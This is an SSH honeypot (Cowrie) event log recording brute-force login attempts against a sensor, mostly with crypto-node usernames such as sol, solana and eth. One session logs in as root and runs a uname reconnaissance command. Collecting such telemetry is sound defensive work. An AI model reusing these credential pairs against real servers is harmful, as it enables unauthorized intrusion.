{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":54028,"dst_ip":"159.203.135.109","dst_port":22,"session":"f999e8d6aed9","protocol":"ssh","message":"New connection: 193.32.162.145:54028 (159.203.135.109:22) [session: f999e8d6aed9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:34:01.266578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:34:01.271245Z","src_ip":"193.32.162.145","session":"f999e8d6aed9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:34:01.371958Z","src_ip":"193.32.162.145","session":"f999e8d6aed9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:34:01.676782Z","src_ip":"193.32.162.145","session":"f999e8d6aed9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:34:02.778543Z","src_ip":"193.32.162.145","session":"f999e8d6aed9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":37792,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d68859d7d83","protocol":"ssh","message":"New connection: 195.178.110.218:37792 (159.203.135.109:22) [session: 7d68859d7d83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:34:46.545901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:34:46.549975Z","src_ip":"195.178.110.218","session":"7d68859d7d83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:34:46.629144Z","src_ip":"195.178.110.218","session":"7d68859d7d83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"firedancer","message":"login attempt [sol/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:34:46.867303Z","src_ip":"195.178.110.218","session":"7d68859d7d83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:34:47.949045Z","src_ip":"195.178.110.218","session":"7d68859d7d83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":59534,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e4c34d11b94","protocol":"ssh","message":"New connection: 195.178.110.218:59534 (10.17.0.5:22) [session: 1e4c34d11b94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:35:04.753613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:35:04.758903Z","src_ip":"195.178.110.218","session":"1e4c34d11b94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:35:04.838978Z","src_ip":"195.178.110.218","session":"1e4c34d11b94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"firedancer","message":"login attempt [sol/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:35:05.079025Z","src_ip":"195.178.110.218","session":"1e4c34d11b94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:35:06.161866Z","src_ip":"195.178.110.218","session":"1e4c34d11b94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":45066,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c4f83b881f9","protocol":"ssh","message":"New connection: 193.32.162.145:45066 (159.203.135.109:22) [session: 9c4f83b881f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:36:14.029349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:36:14.034036Z","src_ip":"193.32.162.145","session":"9c4f83b881f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:36:14.136235Z","src_ip":"193.32.162.145","session":"9c4f83b881f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"1234","message":"login attempt [solana/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:36:14.445014Z","src_ip":"193.32.162.145","session":"9c4f83b881f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:36:15.546333Z","src_ip":"193.32.162.145","session":"9c4f83b881f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":45100,"dst_ip":"159.203.135.109","dst_port":22,"session":"5abd7b7fed08","protocol":"ssh","message":"New connection: 2.57.122.96:45100 (159.203.135.109:22) [session: 5abd7b7fed08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:36:30.021704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:36:30.041169Z","src_ip":"2.57.122.96","session":"5abd7b7fed08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:36:30.132016Z","src_ip":"2.57.122.96","session":"5abd7b7fed08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eth","password":"staking","message":"login attempt [eth/staking] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:36:30.561419Z","src_ip":"2.57.122.96","session":"5abd7b7fed08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:36:31.666932Z","src_ip":"2.57.122.96","session":"5abd7b7fed08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":45068,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c062eccfe07","protocol":"ssh","message":"New connection: 195.178.110.218:45068 (159.203.135.109:22) [session: 7c062eccfe07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:37:31.310124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:37:31.313778Z","src_ip":"195.178.110.218","session":"7c062eccfe07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:37:31.392126Z","src_ip":"195.178.110.218","session":"7c062eccfe07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"root","message":"login attempt [solana/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:37:31.630491Z","src_ip":"195.178.110.218","session":"7c062eccfe07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:37:32.711718Z","src_ip":"195.178.110.218","session":"7c062eccfe07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.128.221.98","src_port":45452,"dst_ip":"159.203.135.109","dst_port":22,"session":"c71f2d8cb842","protocol":"ssh","message":"New connection: 124.128.221.98:45452 (159.203.135.109:22) [session: c71f2d8cb842]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:37:46.987428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:37:47.012522Z","src_ip":"124.128.221.98","session":"c71f2d8cb842","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:37:47.230715Z","src_ip":"124.128.221.98","session":"c71f2d8cb842","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"AAAaaa111","message":"login attempt [root/AAAaaa111] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:37:48.430097Z","src_ip":"124.128.221.98","session":"c71f2d8cb842","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:37:48.897434Z","src_ip":"124.128.221.98","session":"c71f2d8cb842","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:37:48.900589Z","src_ip":"124.128.221.98","session":"c71f2d8cb842","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:37:49.124251Z","src_ip":"124.128.221.98","session":"c71f2d8cb842","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:37:49.128774Z","src_ip":"124.128.221.98","session":"c71f2d8cb842","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":33966,"dst_ip":"10.17.0.5","dst_port":22,"session":"51b701153f55","protocol":"ssh","message":"New connection: 195.178.110.218:33966 (10.17.0.5:22) [session: 51b701153f55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:37:49.540901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:37:49.545404Z","src_ip":"195.178.110.218","session":"51b701153f55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:37:49.620856Z","src_ip":"195.178.110.218","session":"51b701153f55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"root","message":"login attempt [solana/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:37:49.846417Z","src_ip":"195.178.110.218","session":"51b701153f55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:37:50.923050Z","src_ip":"195.178.110.218","session":"51b701153f55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":36118,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa2b2401024a","protocol":"ssh","message":"New connection: 193.32.162.145:36118 (159.203.135.109:22) [session: fa2b2401024a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:38:24.111601Z"}
